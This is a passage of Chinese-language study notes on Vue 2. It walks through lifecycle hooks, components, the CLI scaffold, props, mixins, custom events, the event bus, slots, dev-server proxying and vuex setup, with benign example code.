            name: '搞成',
            opacity: 1
        },
        mounted() {
            // Vue 完成模板的解析并把初始的真实 DOM 元素放入页面后(挂载完毕)调用 mounted
            setInterval(() => {
                this.opacity -= 0.01
                if (this.opacity <= 0)
                    this.opacity = 1
            }, 16);
        },
    })

18.2 分析生命周期

在这里插入图片描述

outerHTML指的是root整个<div id="root"></div>都是模板

<div id="root" :x="n">
    <h2>当前值:{{n}}</h2>
    <button @click="n++">点击</button>
    <button @click="bye">销毁</button>
</div>
    const vm = new Vue({
        el: '#root',
        //root容器没有内容时,可用template模板,得有一个根元素(加入div),可直接替换root容器,组件用
        /* template: `    
        <div>
            <h2>当前值:{{n}}</h2>
            <button @click="n++">点击</button>
            <button @click="bye">销毁</button>
        </div>
        `, */
        data: {
            name: '搞成',
            n: 1
        },
        methods: {
            bye() {
                vm.$destroy();
            }
        },
        beforeCreate() {    //无法访问data中的数据、methods中的方法
            console.log("beforeCreate");
            console.log(this);
            // debugger
        },
        created() {     //可以访问data中的数据、methods中的方法
            console.log("created");
            console.log(this);
            // debugger
        },
        beforeMount() {     //页面呈现未经Vue编译的DOM结构
            console.log("beforeMount");
            // debugger
        },
        mounted() {     //页面呈现经Vue编译的DOM结构
            console.log("beforeMount", this.$el);//Vue自己存一份真实DOM
            // debugger
        },
        beforeUpdate() {    //数据新的,页面旧的
            console.log("beforeUpdate");
            console.log(this.n);
            // debugger
        },
        updated() {     //数据新的,页面新的
            console.log("updated");
            console.log(this.n);
            // debugger
        },
        beforeDestroy() {       //vm中的data、methods、指令处于可用但马上要销毁
            console.log("beforeDestroyed");
            // debugger
        },
        destroyed() {
            console.log("destroyed");
            // debugger
        },
    })

vm.$destroy()
用法:完全销毁一个实例。清理它与其它实例的连接,解绑它的全部指令及事件监听器(自定义事件)。
触发beforeDestroy和destroyed的钩子。在大多数场景中你不应该调用这个方法。最好使用v-if和v-for 指令以数据驱动的方式控制子组件的生命周期。

常用的生命周期钩子:

  1. mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
  2. beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

关于销毁Vue实例:

  1. 销毁后借助Vue开发者工具看不到任何信息。
  2. 销毁后自定义事件会失效,但原生DOM事件依然有效。
  3. 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。

19. 组件

19.1 非单文件组件

  • 一个文件包含n个组件
    Vue中使用组件的三大步骤:
    1、定义组件(创建组件)
    2、注册组件
    3、使用组件(写组件标签)
    1、如何定义一个组件?
    使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有区别
    区别如下:
    (1). el不要写,为什么?— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器,
    (2). data必须写成函数,为什么?— 避免组件被复用时,数据存在引用关系。

备注:使用template可以配置组件结构。

2、如何注册组件?
(1). 局部注册:靠 new Vue 的时候传入components选项
(2). 全局注册:靠 Vue.component('组件名’,组件)
3、编写组件标签:

    <div id="root">
        <!-- 第三步:编写组件标签 -->
        <hello></hello>
        <school></school>
        <my-student></my-student>
        <hr>
        <my-student></my-student>
    </div>
    Vue.config.productionTip = false
    // 第一步:创建school组件
    const school = Vue.extend({
        // el: '#root',     //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
        template: `
        <div>
            <h3>学校名称:{{schoolName}}</h3>
            <h3>学校地址:{{address}}</h3>
            <button @click="sc">点击</button>
        </div>
        `,
        data() {
            return {
                schoolName: '浙江',
                address: '杭州',
            }
        },
        methods: {
            sc() {
                alert(this.schoolName)
            }
        },
    })

    const student = Vue.extend({
        template: `
        <div>
            <h3>学生名字:{{studentName}}</h3>
            <h3>学生年龄:{{age}}</h3>
        </div>
        `,
        data() {
            return {
                studentName: '搞成',
                age: 18,
            }
        }
    })

    //第一步:创建全局组件
    const hello = Vue.extend({
        template: `
        <div>
            <h3>你好!</h3>
        </div>
        `,
    })

    // 第二步:注册全局组件
    Vue.component('hello', hello)

    new Vue({
        el: '#root',
        data: {
            schoolName: '浙江',
            address: '杭州',
            studentName: '搞成',
            age: 18,
        },
        // 第二步:注册组件(局部注册)
        components: {
            // 左边是组件名,右边是组件在哪
            // school:school,简写school
            school,
            'my-student': student,
            // 多个单词用 'xx-xx' 形式

        }
    })

注意点

  1. 关于组件名:
    一个单词组成:
    第一种写法(首字母小写):school
    第二种写法(首字母大写):School
    多个单词组成:
    第一种写法(kebab-case命名):my-school
    第二种写法(CamelCase命名):MySchool(需要Vue脚手架支持)

备注:
(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
(2).可以使用name配置项指定组件在开发者工具中呈现的名字。(在创建组件的时候)

  1. 关于组件标签:
    第一种写法:<school></school>
    第二种写法:<school/>
    备注:不用使用脚手架时,会导致后续组件不能渲染。
  2. 一个简写方式:
    const school = Vue.extend(options)可简写为:const school = options

组件的嵌套

    const student = Vue.extend({
        template: `
        <div>
            <h2>你好{{name}}!</h2>
        </div>`,
        data() {
            return {
                name: '搞成',
            }
        },
    })
    const school = Vue.extend({
        template: `
        <div>
            <student></student>
        </div>`,
        components: {
            student
        }
    })
    const hello = Vue.extend({
        template: `<h2>以{{lt}}击碎黑暗!</h2>`,
        data() {
            return {
                lt: '雷霆'
            }
        }
    })
    // 每次调用Vue.extend,返回的都是一个全新的VueComponent。
    console.log('@', school);
    console.log('#', student);
    const app = Vue.extend({
        template: `
        <div>
            <hello></hello>
            <school></school>
        </div>`,
        components: {
            school,
            hello
        }
    })
    new Vue({
        el: '#root',
        template: `<app></app>`,
        components: { app }
    })

VueComponent

  1. school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
  2. 我们只需要写或,Vue解析时会帮我们创建school组件的实例对象,即vue帮我们执行的:new VueComponent(options)。
    • 特别注意 :每次调用Vue.extend,返回的都是一个全新的VueComponent!!!
  3. 关于this指向:
    (1).组件配置中:
    data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
    (2).new Vue(options)配置中:
    data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。
  4. VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
    Vue的实例对象,以后简称vm。

一个重要的内置关系
VueComponent.prototype.proto === Vue.prototype

在这里插入图片描述

    console.log('@', Vue.prototype === school.prototype.__proto__);
    // 定义一个构造函数
    function Demo() {
        this.a = 1
        this.b = 2
    }
    // 创建一个Demo的实例对象
    const d = new Demo()
    console.log(Demo.prototype);    //显示原型属性
    console.log(d.__proto__);       //隐式原型属性
    console.log(Demo.prototype === d.__proto__);
    // 程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
    Demo.prototype.x = 99
    console.log(d.x);
    console.log(d);
  • 为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。

19.2 单文件组件

一个文件只包含1个组件

组件暴露三种方式:

分别暴露:export const school=Vue.extend({})
统一暴露:export {school}
默认暴露:export default school
推荐第三种,简写为 export default{},里面再配置项name:‘School’。

20. 脚手架

20.1 分析脚手架

脚手架结构

.文件目录
├── node_modules
├── public
│ ├── favicon.ico: 页签图标
│ └── index.html: 主页面
├── src
│ ├── assets: 存放静态资源
│ │ └── logo.png
│ │── component: 存放组件
│ │ └── HelloWorld.vue
│ │── App.vue: 汇总所有组件
│ └── main.js: 入口文件
├── .gitignore: git版本管制忽略的配置
├── babel.config.js: babel的配置文件
├── package.json: 应用包配置文件
├── README.md: 应用描述文件
└── package-lock.json: 包版本控制文件

  • 1、单文件组件StudentName.vue和SchoolName.vue直接引入
  • 2、引入App.vue
    <template>
    <div>
        <SchoolName></SchoolName>
        <StudentName></StudentName>
    </div>
    </template>

    <script>
    import StudentName from "./components/StudentName.vue";
    import SchoolName from "./components/SchoolName.vue";

    export default {
    name: "App",
    components: {
        SchoolName,
        StudentName,
    },
    };
    </script>
  • 3、main.js
    // 该文件是整个项目的入口文件
    // 引入Vue,此处引入vue为残缺
    import Vue from 'vue'
    // 引入App组件,它是所有组件的父组件
    import App from './App.vue'
    // 关闭生产提示
    Vue.config.productionTip = false
    // 创建Vue实例对象---vm
    new Vue({
    // 将App组件放入容器中
    render: h => h(App),

    // 原来的样子,createElement能创建具体的元素
    // render(createElement) {return createElement(App)},

    }).$mount('#app')   //与el:'#app' 一个意思
  • 4、index.html
    <!DOCTYPE html>
    <html lang="">

    <head>
    <meta charset="utf-8">
    <!-- 针对IE浏览器的特殊配置,含义是让IE浏览器以最高渲染级别渲染页面 -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <!-- 开启移动端理想视口 -->
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <!-- 配置页签图标 <%= BASE_URL %>是public所在路径,使用绝对路径 -->
    <link rel="icon" href="<%= BASE_URL %>favicon.ico">
    <!-- 配置网页标题 -->
    <title>
        <%= htmlWebpackPlugin.options.title %>
    </title>
    </head>

    <body>
    <noscript><!-- 当浏览器不支持js时,noscript中的元素就会被渲染 -->
        <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled.
            Please enable it to continue.</strong>
    </noscript>
    <div id="app"></div>
    <!-- built files will be auto injected -->
    </body>

    </html>

20.2 关于不同版本的Vue

  1. vue.js 与vue.runtime.xxx.js的区别:
    (1).vue.js是完整版的Vue,包含:核心功能+模板解析器。
    (2).vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。
  2. 因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容。

20.3 vue.config.js配置文件

  • 使用vue inspect > output.js可以查看到Vue脚手架的默认配置。
  • 在package.json同级目录新建vue.config.js,使用vue.config.js可以对脚手架进行个性化定制,详情见: https://cli.vuejs.org/zh
    module.exports = {
    pages: {
        index: {
        entry: 'src/index/main.js' // 选择入口
        }
    },
    lineOnSave: false	// 关闭语法检查
    }

21. Vue知识

21.1 ref 属性

  1. 被用来给元素或子组件注册引用信息(id的替代者)
  2. 应用在html标签上获取的是真实DOM元素,应用在组件杯签上是组件实例对家(VC)
  3. 使用方式:打标识: <h1 ref="xxx">.....</h1><School ref="xxx"></School>获取: this.$refs.xxx
<template>
  <div>
    <h1 v-text="msg" ref="title"></h1>
    <button ref="btn" @click="showDOM">点击显示</button>
    <SchoolName ref="sch"></SchoolName>
  </div>
</template>

<script>
import SchoolName from "./components/SchoolName.vue";
export default {
  name: "App",
  components: { SchoolName },
  data() {
    return {
      msg: "欢迎您!",
    };
  },
  methods: {
    showDOM() {
      console.log(this.$refs.title); //真实DOM元素
      console.log(this.$refs.btn); //真实DOM元素
      console.log(this.$refs.sch); //School组件的实例对象(vc)
    },
  },
};
</script>

21.2 props配置项

功能:让组件接收外部传过来的数据

  1. 传递数据:
    <Demp name="xxx" :age="xx"/> 字符串可进行动态绑定,引号里面即为js表达式
  2. 接收数据:
  • 第一种方式(只接收)∶props: [‘name’]
  • 第二种方式(限制类型):
    props:{
    name : String
    }
  • 第三种方式(限制类型、限制必要性、指定默认值):
    props:{
    name:{
    type:String,//类型
    required:true,//必要性
    default:'老王’//默认值
    }
    }

备注: props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。

<!-- App.vue -->
  <div>
    <StudentName name="张三" address="杭州" :age="18"></StudentName>
  </div>
<!-- StudentName.vue -->
<template>
  <div class="school">
    <h1>{{ msg }}</h1>
    <h2>姓名:{{ name }}</h2>
    <h2>地址:{{ address }}</h2>
    <h2>年龄:{{ myAge + 1 }}</h2>
    <button @click="updataAge">点击</button>
  </div>
</template>

<script>
export default {
  name: "StudentName",
  data() {
    return {
      msg: "你好~",
      myAge: this.age, //修改外部传进来的数据
    //复制props的内容到data中一份,然后去修改data中的数据
    };
  },
  methods: {
    updataAge() {
      this.myAge++;
    },
  },

  props: ["name", "address", "age"], //1.简单写法,用的多

  // 2.接受的同时对数据进行限制
  /* props: {
    name: String,
    address: String,
    age: Number,
  }, */

  // 3.接受的同时对数据:进行类型限制+默认值的指定+必要性的限制
  /* props: {
    name: {
      type: String, //name的类型是字符串
      required: true, //name是必要的
    },
    address: {
      type: String,
      required: true,
    },
    age: {
      type: Number,
      default: 99, //不传这个参数,就用默认值
    },
  }, */
};
</script>

21.3 mixin(混入、混合)

功能:可以把多个组件共用的配置提取成一个混入对象,使用方式:
第一步定义混合,例如:(创建mixin.js文件)
{
data(){…},
methods:{…}

}
第二步使用混入,例如:
(1).全局混入:Vue.mixin(xxx)
(2).局部混入: mixins: [‘xxx’]

// StudentName.vue与SchoolName.vue有相同的部分
import { hunhe, hunhe2 } from "../mixin";

export default {
  name: "StudentName",
  data() {
    return {
      name: "搞成",
      address: "浙江",
      x: 666, //以组件中原有数据为主
    };
  },
  mounted() {
    console.log("组件钩子被调用");
  },
  mixins: [hunhe, hunhe2], //生命周期钩子来者不拒,混合优先输出
};
// mixin.js
export const hunhe = {
  methods: {
    showName() {
      alert(this.name);
    },
  },
  mounted() {
    console.log("混合对象钩子被调用");
  },

}
export const hunhe2 = {
  data() {
    return {
      x: 33,
      y: 77
    }
  }
}

21.4 插件

功能:用于增强Vue
本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。
定义插件:(新建plugins.js)
对象.install = function (Vue,options) {
// 1.添加全局过滤器
Vue.filter(…)
// 2.添加全局指令
Vue.directive(…)
// 3.配置全局混入(合)
vue.mixin(…)
// 4.添加实例方法
Vue.prototype. m y M e t h o d = f u n c t i o n ( ) . . . . V u e . p r o t o t y p e . myMethod = function () {....} Vue.prototype. myMethod=function()....Vue.prototype.myProperty = xxxx
}
使用插件:Vue.use()

// 在main.js中引入插件
import plugin from './plugins'
// 应用(使用)插件
Vue.use(plugin)

21.5 scoped样式

作用:让样式在局部生效,防止冲突。
写法: <style scoped>

<style scoped>
.school {
  background-color: pink;
}
</style>

<style lang="less">
//less 为css的预编译语言
.school {
  background-color: green;
  .zt {
    font-size: 12px;
  }
}
</style>

22. TodoList案例

22.1 总结TodoList案例

  1. 组件化编码流程:
    (1).拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。
    (2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:
    1).一个组件在用:放在组件自身即可。
    2).一些组件在用:放在他们共同的父组件上(状态提升)。
    3).实现交互:从绑定事件开始。
  2. props适用于:
    (1).父组件==>子组件通信
    (2).子组件==>父组件通信(要求父先给子一个函数)
  3. 使用v-model时要切记: v-model绑定的值不能是props传过来的值,因为props是不可以修改的!
  4. props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。

22.2 组件的自定义事件

  1. 一种组件间通信的方式,适用于:子组件==>父组件
  2. 使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。
  3. 绑定自定义事件:
    (1)第一种方式,在父组件中:<Demo @zdy="test"/><Demo v-on:zdy="test"/>
    (2)第二种方式,在父组件中:
    <Demo ref="demo"/>
    ......
    mounted(){
        this.$refs.xxx.$on('zdy',this.test)
    }
    
  4. 若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。
  5. 触发自定义事件: this.$emit('zdy',数据)
  6. 解绑自定义事件this.$off('zdy')
  7. 组件上也可以绑定原生DOM事件,需要使用native修饰符(如@click.native)。
  8. 注意:通过 this.refs.x.x.son ('atguigu',回调)绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题!

App.vue

<template>
  <div class="app">
    <h1>{{ msg }}</h1>
    <!-- 通过父组件给子组件传递函数类型的props实现:子给父传递数据-->
    <SchoolName :getSchoolName="getSchoolName"></SchoolName>
    <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第一种写法,使用@或v-on) -->
    <StudentName v-on:zdy="getStudentName"></StudentName>
    <!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法,使用ref) -->
    <StudentName ref="stu" @click.native="show"></StudentName>
    <!-- @click.native将其变回原生的DOM事件 -->
  </div>
</template>

<script>
import StudentName from "./components/StudentName.vue";
import SchoolName from "./components/SchoolName.vue";
export default {
  name: "App",
  data() {
    return {
      msg: "你好",
    };
  },
  components: { StudentName, SchoolName },
  methods: {
    getSchoolName(name) {
      console.log("App收到了学校名", name);
    },
    // 多个参数传入时,除了第一个参数的剩余参数放入一个数组中接收
    getStudentName(name, ...params) {
      console.log("调用", name, params);
    },
    show() {
      alert(123);
    },
  },
  mounted() {
    // 括号里面的this本应该是子组件的,但通过App中的methods方法将this转为父组件
    this.$refs.stu.$on("zdy", this.getStudentName); //绑定自定义事件
    // this.$refs.stu.$once("zdy", this.getStudentName); //绑定自定义事件(一次性)
    this.$refs.stu.$on("zdy", (name) => {
      //函数里的this指向子组件,但通过箭头函数后(箭头函数没有自己的this),this指向mounted,即为父组件实例对象。
      console.log("调用", name, this);
    });
  },
};
</script>

Student.vue

<template>
  <div class="student">
    <h2>姓名:{{ name }}</h2>
    <h2>地址:{{ address }}</h2>
    <button @click="sendStudentName">点击绑定事件</button>
    <button @click="unbind">点击解绑事件</button>
    <button @click="death">销毁</button>
  </div>
</template>

<script>
export default {
  name: "StudentName",
  data() {
    return {
      name: "搞成啊啊啊啊",
      address: "浙江",
    };
  },
  methods: {
    sendStudentName() {
      // 触发Student组件实例身上的zdy事件,触发后调用App中的函数
      // this.$emit("zdy", this.name);
      this.$emit("zdy", this.name, 333, 666, 999);
    },
    unbind() {
      this.$off("zdy"); //解绑一个自定义事件
      this.$off(["zdy", "zdy2"]); //解绑多个自定义事件
      this.$off(); //解绑所有自定义事件
    },
    death() {
      this.$destroy(); //销毁了当前Student组件的实例,销毁后所有Student实例的自定义事件全都不奏效,原生事件不受影响,不能响应式。
    },
  },
};
</script>

22.3 全局事件总线(GlobalEventBus)

  1. 一种组件间通信的方式,适用于任意组件间通信。
  2. 安装全局事件总线:
    // main.js
    new Vue({
        ......
        beforeCreate() {
        Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm},
        },
        ......
    })
  1. 使用事件总线:
    (1) 接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身。
    methods(){
        demo(data){......}
    }
    ......
    mounted() {
        this.$bus.$on('xxxx',this.demo)
    }

(2) 提供数据:this.$bus.$emit( 'xxxx',数据)
4. 最好在beforeDestroy钩子中(接收数据方),用$off去解绑当前组件所用到的事件。

    beforeDestroy() {
        this.$bus.$off("xxxx");
    },

22.4. 消息订阅与发布(pubsub)

  1. 一种组件间通信的方式,适用于任意组件间通信。
  2. 使用步骤:
    1.安装pubsub: npm i pubsub-js
    2.引入: import pubsub from 'pubsub-js'
    3.接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。
    methods(){
        demo(data){......}
    }
    ......
    mounted() {
        this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息
    }
  1. 提供数据:pubsub.publish('xxx',数据)
  2. 最好在beforeDestroy钩子中,用PubSub.unsubscribe(pid)<span style=" co1or : red">取消订阅。</span>
  methods: {
    sendStudentName() {
      pubsub.publish("hello", this.name);
    },
  }
  mounted() {
    this.pubid = pubsub.subscribe("hello", (masgName, data) => {
      console.log("订阅了消息", this, masgName, data);
    });
  },
  beforeDestroy() {
    pubsub.unsubscribe(this.pubid);
  }

22.5. nextTick

1.语法: this.$nextTick(回调函数)
2.作用:在下一次DOM更新结束后执行其指定的回调。
3.什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时要在nextTick所指定的回调函数中执行。

(在下次DOM更新 循环结束之后执行延迟回调。在修改数据之后立即使用这个方法,获取更新后的 DOM。)

23. Vue过渡的过渡与动画

  1. 作用:在插入、更新或移除DOM元素时,在合适的时候给元素添加样式类名。

  2. 图示:
    在这里插入图片描述

  3. 写法:
    1.准备好样式:
    * 元素进入的样式:
    1.v-enter:进入的起点
    2.v-enter-active:进入过程中–(动画)
    3.v-enter-to:进入的终点
    * 元素离开的样式:
    1.v-leave:离开的起点
    2.v-leave-active:离开过程中–(动画)
    3.v-leave-to:离开的终点
    2. 使用<transition>包裹要过度的元素,并配置name属性:

    <transition name="hello">
        <h1 v-show="isShow">你好啊!</h1>
    </transition>

3.备注:若有多个元素需要过度,则需要使用:<transition-group>,且每个元素都要指定key值。

例子
(1)直接用动画写效果

<template>
  <div>
    <button @click="isShow = !isShow">显示/隐藏1</button>
    <transition name="hello" appear>
      <h1 v-show="isShow" class="come">你好啊!</h1>
    </transition>
  </div>
</template>
<style scoped>
h1 {
  background-color: pink;
}
.hello-enter-active {
  animation: gao 1s;
}
.hello-leave-active {
  animation: gao 1s reverse;
}
@keyframes gao {
  from {
    transform: translateX(-100%);
  }
  to {
    transform: translateX(0px);
  }
}
</style>

(2)用过渡写效果

<template>
  <div>
    <button @click="isShow = !isShow">显示/隐藏2</button>
    <transition name="hello" appear>
      <h1 v-show="isShow" class="come">你好啊!</h1>
    </transition>
  </div>
</template>
<style scoped>
h1 {
  background-color: pink;
  /* transition: 0.5s linear; */
}

.hello-enter,
.hello-leave-to {
  transform: translateX(-100%);
}

.hello-enter-active,
.hello-leave-active {
  transition: 0.5s linear;
}

.hello-enter-to,
.hello-leave {
  transform: translateX(0%);
}
</style>

(3)用第三方库写效果(例如:https:/ /animate.style/)

// App.vue 中引入import 'animate.css';
<template>
  <div>
    <button @click="isShow = !isShow">显示/隐藏3</button>
    <transition
      appear
      name="animate__animated animate__bounce"
      enter-active-class="animate__swing"
      leave-active-class="animate__bounceOut"
    >
      <h1 v-show="isShow">你好啊!</h1>
      <h1 v-show="isShow">搞成啦!</h1>
    </transition>
  </div>
</template>
<style scoped>
h1 {
  background-color: pink;
}
</style>

24. vue脚手架配置代理

24.1 配置代理方法介绍

解决跨域
1、用cors,在服务器响应时,后端配置几个特殊的响头;
2、jsonp,借助了script标签中的src,在引入外部资源时,不受同源策略限制(前后端配合,只能解决get请求跨域问题);
3、代理服务器,客服端–同域名代理服务器–服务器。

例:本机端口号为8081,服务器端口号为5000,就需要端口号为8081的服务器。

方法一
在vue.config.js中添加如下配置:

    devServer:{
        proxy:"http://localhost:5000"
    }

说明:

  1. 优点:配置简单,请求资源时直接发给前端(8080)即可。
  2. 缺点:不能配置多个代理,不能灵活的控制请求是否走代理。
  3. 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器(优先匹配前端资源)

方法二
编写vue.config.js配置具体代理规则:

module.exports = {
  devServer: {
    proxy: {
      '/api': {//匹配所有以'/api'开头的请求路径
        target: 'http://localhost:5000',//代理目标的基础路径
        pathRewrite: { '^/api': '' },
        ws: true,//用于支持websocket
        changeOrigin: true  //用于控制请求头中的host值,为true时将代理服务器端口号变为服务器端口号
      },
      '/api2': {
        target: 'http://localhost:5001',
        pathRewrite: { '^/api2': '' },
        ws: true,//用于支持websocket
        changeOrigin: true  
      },
      /* '/foo': {
        target: '<other_url>'
      } */
    }
  }
}
/* 
changeOrigin设置为true时,服务器收到的请求头中的host为: localhost:5000
changeOrigin设置为false时,服务器收到的请求头中的host为: localhost:8080
changeOrigin默认值为true 
*/

说明:

  1. 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。
  2. 缺点:配置略微繁琐,请求资源时必须加前缀。

App.vue

<template>
  <div>
    <button @click="getStudents">获取学生信息</button>
    <button @click="getCars">获取汽车信息</button>
  </div>
</template>

<script>
import axios from "axios";
export default {
  name: "App",
  methods: {
    getStudents() {
      axios.get("http://localhost:8081/api/students").then(
        //  不加如api这种前缀,则会寻找public文件中的数据
        (response) => {
          console.log("请求成功", response.data);
        },
        (error) => {
          console.log("请求失败", error.message);
        }
      );
    },
    getCars() {
      axios.get("http://localhost:8081/demo/cars").then(
        (response) => {
          console.log("请求成功", response.data);
        },
        (error) => {
          console.log("请求失败", error.message);
        }
      );
    },
  },
};
</script>

24.2 github案例

SearchGc.vue

<template>
  <section class="jumbotron">
    <h3 class="jumbotron-heading">Search Github Users</h3>
    <div>
      <input
        type="text"
        placeholder="enter the name you search"
        @keyup.enter="searchUser"
        v-model="keyWord"
      />&nbsp;
      <button @click="searchUser">Search</button>
    </div>
  </section>
</template>

<script>
import axios from "axios";
export default {
  name: "SearchGc",
  data() {
    return {
      keyWord: "",
    };
  },
  methods: {
    searchUser() {
      // 请求前更新List数据
      this.$bus.$emit("updataList", {
        isFirst: false,
        isLoading: true,
        errMsg: "",
        users: [],
      });
    //   引入vue-resource插件,可将axios替换成$http。(了解)
      axios.get(`https://api.github.com/search/users?q=${this.keyWord}`).then(
        (response) => {
          //   console.log("请求成功", response.data.items);
          // 请求成功后更新List数据
          this.$bus.$emit("updataList", {
            isLoading: false,
            errMsg: "",
            users: response.data.items,
          });
        },
        (error) => {
          console.log("请求失败", error.message);
          // 请求失败后更新List数据
          this.$bus.$emit("updataList", {
            isLoading: false,
            errMsg: error.message,
            users: [],
          });
        }
      );
    },
  },
};

ListGc.vue

<template>
  <div class="row">
    <!-- 展示用户列表 -->
    <div
      v-show="info.users.length"
      class="card"
      v-for="user in info.users"
      :key="user.login"
    >
      <a :href="user.html_url" target="_blank">
        <img :src="user.avatar_url" style="width: 100px" />
      </a>
      <p class="card-text">{{ user.login }}</p>
    </div>
    <!-- 展示欢迎词 -->
    <h1 v-show="info.isFirst">欢迎使用~</h1>
    <!-- 展示加载中 -->
    <h1 v-show="info.isLoading">加载中...</h1>
    <!-- 展示错误信息 -->
    <h1>{{ info.errMsg }}</h1>
  </div>
</template>

<script>
export default {
  name: "ListGc",
  data() {
    return {
      info: {
        isFirst: true,
        isLoading: false,
        errMsg: "",
        users: [],
      },
      //   方便批量替换
    };
  },
  mounted() {
    this.$bus.$on("updataList", (dataObj) => {
      console.log("接收到了数据", dataObj);
      this.info = { ...this.info, ...dataObj };
      //   将this.in与dataObj展示,重名的属性以dataObj为主
    });
  },
  beforeDestroy() {
    this.$bus.$off("updataList");
  },
};
</script>

25. 插槽

  1. 作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于父组件==>子组件。
  2. 分类:默认插槽、具名插槽、作用域插槽

25.1 默认插槽

使用<slot></slot>的组件指定的位置留一个坑,如果在外部,使用其组件包裹某内容(可以是任何模板代码,也可以是HTML,还可以是组件),则该内容就会被分发到<slot></slot>处(一个有趣的说法就是把“坑”补上),渲染出来。当然,也可以不放任何内容,不影响组件渲染,就好比最开始的情况。

// 父组件中:
    <Category>
        <div>html结构1</div>
    </Category>

// 子组件中:Category
    <template>
        <div>
            <!-- 定义插槽 -->
            <slot>插槽默认内容...</slot>
        </div>
    </template>

25.2 具名插槽

所谓具名插槽,顾名思义就是起了名字的插槽。有时我们需要多个插槽,例如当我们想使用某种通用模板:
对于这样的情况,<slot> 元素有一个特殊的attribute:name。这个 attribute 可以用来定义额外的插槽:

// B.vue
<template>
  <div>
    <header>
      <slot name="header"></slot>
    </header>
    <main>
      <slot></slot>
    </main>
    <footer>
      <slot name="footer"></slot>
    </footer>
  </div>
</template>
// App.vue
<template>
  <div>
    <p>我是A组件</p>
    <B>
      <template v-slot:header>//简写 <template #header>
        <p>我是header部分</p>
      </template>
 
      <p>我是main(默认插槽)部分</p>
 		// 旧版写法
      <template slot="footer">
        <p>我是footer部分</p>
      </template>
    </B>
  </div>
</template>

25.3 作用域插槽

1.理解:数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。(games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)
数据不在App.vue中,而在子组件中
2.具体编码:

// App.vue
<template>
  <div class="container">
    <CategoryGc title="游戏">
      <!-- 此处名字自定义(gc) -->
      <template slot-scope="gc">
        <ul>
          <li v-for="(g, index) in gc.games" :key="index">{{ g }}</li>
        </ul>
      </template>
    </CategoryGc>
    <CategoryGc title="游戏">
      <!-- 解构赋值,将名字简写 -->
      <template slot-scope="{ games }">
        <ol>
          <li v-for="(g, index) in games" :key="index">{{ g }}</li>
        </ol>
      </template>
    </CategoryGc>
    <CategoryGc title="游戏">
      <template slot-scope="{ games }">
        <h4 v-for="(g, index) in games" :key="index">{{ g }}</h4>
      </template>
    </CategoryGc>
  </div>
</template>
// CategoryGc.vue
<template>
  <div class="category">
    <h3>{{ title }}分类</h3>
    <slot :games="games">111</slot>
  </div>
</template>
<script>
export default {
  name: "CategoryGc",
  props: ["title"],
//   数据在子组件中
  data() {
    return {
      games: ["红色警戒", "穿越火线", "劲舞团"],
    };
  },
};
</script>

26. vuex

26.1 vuex 介绍

vue是什么

  1. 概念:专门在Vue中实现集中式状态(数据)管理的一个Vue插件,对vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信。
    什么时候用vuex
  2. 多个组件依赖于同—状态
  3. 来自不同组件的行为需要变更同—状态

在这里插入图片描述

actions是调用mutations里的方法来处理异步操作更新states里的数据

26.2 搭建vuex环境

  1. 下载安装 npm i vuex@3
  2. 创建文件:src/store/index.js
    // index.js
    import Vue from 'vue'
    import Vuex from 'vuex'	// 引入Vuex
    Vue.use(Vuex)	// 应用Vuex插件

    const actions = {}		// 准备actions——用于响应组件中的动作
    const mutations = {}	// 准备mutations——用于操作数据(state)
    const state = {}			// 准备state——用于存储数据

    // 创建并暴露store
    export default new Vuex.Store({
        actions,
        mutations,
        state,
    })
  1. 在main.js中创建vm时传入store配置项
import Vue from 'vue'
import App from './App.vue'
import store from './store'	// 引入store

Vue.config.productionTip = false
new Vue({
	el: '#app',
	render: h => h(App),
	store,	// 配置项添加store
	beforeCreate() {
		Vue.prototype.$bus = this
	}
})

26.3 vuex基本使用(求和案列)

